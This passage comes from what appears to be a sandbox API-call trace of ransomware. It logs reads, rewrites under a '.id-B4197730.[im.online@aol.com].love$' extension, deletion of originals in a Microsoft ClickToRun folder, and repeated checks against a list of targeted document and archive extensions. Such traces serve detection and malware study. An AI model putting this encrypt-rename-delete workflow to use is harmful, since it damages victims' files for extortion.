returned 1 [0283.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0284.204] GetLastError () returned 0x0 [0284.204] ReadFile (in: hFile=0x358, lpBuffer=0x3f3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesRead=0x337fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0284.214] WriteFile (in: hFile=0x360, lpBuffer=0x3f3b020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x337fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesWritten=0x337fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0284.216] ReadFile (in: hFile=0x358, lpBuffer=0x3f3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesRead=0x337fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.216] WriteFile (in: hFile=0x360, lpBuffer=0x3f3b020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x337fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesWritten=0x337fc94*=0x126, lpOverlapped=0x0) returned 1 [0284.217] SetEndOfFile (hFile=0x360) returned 1 [0284.217] CloseHandle (hObject=0x360) returned 1 [0284.217] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.217] SetEndOfFile (hFile=0x358) returned 1 [0284.218] CloseHandle (hObject=0x358) returned 1 [0284.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.219] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 1 [0284.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0284.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0284.221] lstrlenW (lpString=".doc") returned 4 [0284.221] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.221] lstrlenW (lpString=".docx") returned 5 [0284.221] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0284.221] lstrlenW (lpString=".pdf") returned 4 [0284.221] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.221] lstrlenW (lpString=".xls") returned 4 [0284.221] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.221] lstrlenW (lpString=".xlsx") returned 5 [0284.221] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0284.221] lstrlenW (lpString=".ppt") returned 4 [0284.221] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0284.221] lstrlenW (lpString=".zip") returned 4 [0284.221] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.221] lstrlenW (lpString=".rar") returned 4 [0284.221] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.222] lstrlenW (lpString=".bz2") returned 4 [0284.222] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.222] lstrlenW (lpString=".7z") returned 3 [0284.222] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0284.222] lstrlenW (lpString=".dbf") returned 4 [0284.222] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0284.222] lstrlenW (lpString=".1cd") returned 4 [0284.222] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0284.222] lstrlenW (lpString=".jpg") returned 4 [0284.222] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0284.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0284.222] lstrlenW (lpString=".doc") returned 4 [0284.222] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.222] lstrlenW (lpString=".docx") returned 5 [0284.222] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0284.222] lstrlenW (lpString=".pdf") returned 4 [0284.222] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.222] lstrlenW (lpString=".xls") returned 4 [0284.222] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.222] lstrlenW (lpString=".xlsx") returned 5 [0284.222] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0284.222] lstrlenW (lpString=".ppt") returned 4 [0284.223] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0284.223] lstrlenW (lpString=".zip") returned 4 [0284.223] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.223] lstrlenW (lpString=".rar") returned 4 [0284.223] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.223] lstrlenW (lpString=".bz2") returned 4 [0284.223] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.223] lstrlenW (lpString=".7z") returned 3 [0284.223] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0284.223] lstrlenW (lpString=".dbf") returned 4 [0284.223] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0284.223] lstrlenW (lpString=".1cd") returned 4 [0284.223] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0284.223] lstrlenW (lpString=".jpg") returned 4 [0284.223] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.223] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.223] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0284.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0284.225] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x337ff14 | out: lpFileSize=0x337ff14*=11616) returned 1 [0284.225] CloseHandle (hObject=0x358) returned 1 [0284.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20 [0284.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0284.225] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.225] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0284.227] GetLastError () returned 0x0 [0284.227] ReadFile (in: hFile=0x358, lpBuffer=0x3f3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesRead=0x337fecc*=0x2d60, lpOverlapped=0x0) returned 1 [0284.230] WriteFile (in: hFile=0x360, lpBuffer=0x3f3b020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x337fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesWritten=0x337fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0284.233] ReadFile (in: hFile=0x358, lpBuffer=0x3f3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesRead=0x337fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.233] WriteFile (in: hFile=0x360, lpBuffer=0x3f3b020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x337fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesWritten=0x337fc94*=0x116, lpOverlapped=0x0) returned 1 [0284.233] SetEndOfFile (hFile=0x360) returned 1 [0284.234] CloseHandle (hObject=0x360) returned 1 [0284.234] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.234] SetEndOfFile (hFile=0x358) returned 1 [0284.235] CloseHandle (hObject=0x358) returned 1 [0284.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.325] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 1 [0284.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0284.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0284.325] lstrlenW (lpString=".doc") returned 4 [0284.325] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.325] lstrlenW (lpString=".docx") returned 5 [0284.325] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.325] lstrlenW (lpString=".pdf") returned 4 [0284.325] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.325] lstrlenW (lpString=".xls") returned 4 [0284.325] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.325] lstrlenW (lpString=".xlsx") returned 5 [0284.325] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.325] lstrlenW (lpString=".ppt") returned 4 [0284.325] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0284.326] lstrlenW (lpString=".zip") returned 4 [0284.326] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.326] lstrlenW (lpString=".rar") returned 4 [0284.326] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.326] lstrlenW (lpString=".bz2") returned 4 [0284.326] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.326] lstrlenW (lpString=".7z") returned 3 [0284.326] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0284.326] lstrlenW (lpString=".dbf") returned 4 [0284.326] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0284.326] lstrlenW (lpString=".1cd") returned 4 [0284.326] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0284.326] lstrlenW (lpString=".jpg") returned 4 [0284.326] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0284.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0284.326] lstrlenW (lpString=".doc") returned 4 [0284.326] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.326] lstrlenW (lpString=".docx") returned 5 [0284.326] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.326] lstrlenW (lpString=".pdf") returned 4 [0284.326] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.326] lstrlenW (lpString=".xls") returned 4 [0284.327] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.327] lstrlenW (lpString=".xlsx") returned 5 [0284.327] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.327] lstrlenW (lpString=".ppt") returned 4 [0284.327] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0284.327] lstrlenW (lpString=".zip") returned 4 [0284.327] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.327] lstrlenW (lpString=".rar") returned 4 [0284.327] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.327] lstrlenW (lpString=".bz2") returned 4 [0284.327] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.327] lstrlenW (lpString=".7z") returned 3 [0284.327] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0284.327] lstrlenW (lpString=".dbf") returned 4 [0284.327] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0284.327] lstrlenW (lpString=".1cd") returned 4 [0284.327] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0284.327] lstrlenW (lpString=".jpg") returned 4 [0284.327] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.328] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.328] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0284.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0284.329] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x337ff14 | out: lpFileSize=0x337ff14*=19648) returned 1 [0284.329] CloseHandle (hObject=0x358) returned 1 [0284.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20 [0284.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.608] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0284.608] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.609] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0284.636] GetLastError () returned 0x0 [0284.637] ReadFile (in: hFile=0x350, lpBuffer=0x3f3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesRead=0x337fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0284.641] WriteFile (in: hFile=0x36c, lpBuffer=0x3f3b020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x337fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesWritten=0x337fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0284.642] ReadFile (in: hFile=0x350, lpBuffer=0x3f3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesRead=0x337fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.643] WriteFile (in: hFile=0x36c, lpBuffer=0x3f3b020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x337fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesWritten=0x337fc94*=0x112, lpOverlapped=0x0) returned 1 [0284.643] SetEndOfFile (hFile=0x36c) returned 1 [0284.643] CloseHandle (hObject=0x36c) returned 1 [0284.643] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.643] SetEndOfFile (hFile=0x350) returned 1 [0284.644] CloseHandle (hObject=0x350) returned 1 [0284.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.645] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 1 [0284.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0284.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0284.645] lstrlenW (lpString=".doc") returned 4 [0284.645] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.645] lstrlenW (lpString=".docx") returned 5 [0284.645] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.645] lstrlenW (lpString=".pdf") returned 4 [0284.645] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.645] lstrlenW (lpString=".xls") returned 4 [0284.645] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.645] lstrlenW (lpString=".xlsx") returned 5 [0284.645] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.645] lstrlenW (lpString=".ppt") returned 4 [0284.645] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0284.645] lstrlenW (lpString=".zip") returned 4 [0284.645] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.646] lstrlenW (lpString=".rar") returned 4 [0284.646] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.646] lstrlenW (lpString=".bz2") returned 4 [0284.646] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.646] lstrlenW (lpString=".7z") returned 3 [0284.646] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0284.646] lstrlenW (lpString=".dbf") returned 4 [0284.646] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0284.646] lstrlenW (lpString=".1cd") returned 4 [0284.646] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0284.646] lstrlenW (lpString=".jpg") returned 4 [0284.646] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0284.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0284.646] lstrlenW (lpString=".doc") returned 4 [0284.646] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.646] lstrlenW (lpString=".docx") returned 5 [0284.646] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.646] lstrlenW (lpString=".pdf") returned 4 [0284.646] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.646] lstrlenW (lpString=".xls") returned 4 [0284.646] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.646] lstrlenW (lpString=".xlsx") returned 5 [0284.646] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.647] lstrlenW (lpString=".ppt") returned 4 [0284.647] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0284.647] lstrlenW (lpString=".zip") returned 4 [0284.647] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.647] lstrlenW (lpString=".rar") returned 4 [0284.647] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.647] lstrlenW (lpString=".bz2") returned 4 [0284.647] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.647] lstrlenW (lpString=".7z") returned 3 [0284.647] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0284.647] lstrlenW (lpString=".dbf") returned 4 [0284.647] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0284.647] lstrlenW (lpString=".1cd") returned 4 [0284.647] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0284.647] lstrlenW (lpString=".jpg") returned 4 [0284.647] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.647] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.647] lstrlenW (lpString="api-ms-win-crt-process-l1-1-0.dll") returned 33 [0284.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0284.649] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x337ff14 | out: lpFileSize=0x337ff14*=19648) returned 1 [0284.649] CloseHandle (hObject=0x350) returned 1 [0284.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x20 [0284.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft 